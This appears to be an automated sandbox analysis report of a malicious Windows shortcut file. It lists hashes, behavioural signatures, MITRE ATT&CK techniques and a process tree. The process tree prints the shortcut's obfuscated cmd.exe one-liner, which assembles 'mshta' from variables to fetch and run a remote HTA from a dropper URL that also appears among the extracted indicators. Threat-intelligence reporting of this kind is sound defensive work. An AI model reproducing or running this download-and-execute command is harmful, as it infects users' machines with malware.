a8fa7d878f29bec0d58ba4d9b8268246e4d1c9cf7b0547db6f33706b65b5cda9

Analysis

max time kernel
148s
max time network
147s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:02

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General

Target
DOC-62S8O0.lnk
Size 1KB
Sample260803-p96j4abn2v
SHA256 a8fa7d878f29bec0d58ba4d9b8268246e4d1c9cf7b0547db6f33706b65b5cda9
MD5 c8bfa56cc06090e6548c050833307985
SHA1 9ad4d2a0100b883cb4a909a99bfdaed2d6c8c838
SHA512 a1de4669cc158ce50c0a6c4696eeacd3e23c835f23b0a7c7a63a4c83b107a3d565a857aa32dff759f48ec9553a6fa03def394e1f00cf9d75323d4237528c5e9e
TLSH
T111317B503FF90654F3F79E7784BB571085BBB8A59E20C61D4141464C1432A15E1BBF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5996	cmd.exe
5984	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5996 wrote to memory of 5984	5996	cmd.exe	90
PID 5984 wrote to memory of 5708	5984	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-62S8O0.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5996
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set bC=msh&&set FT=ta&&start "" !bC!!FT! https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5984
- - C:\Windows\System32\mshta.exe
    mshta https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:5708

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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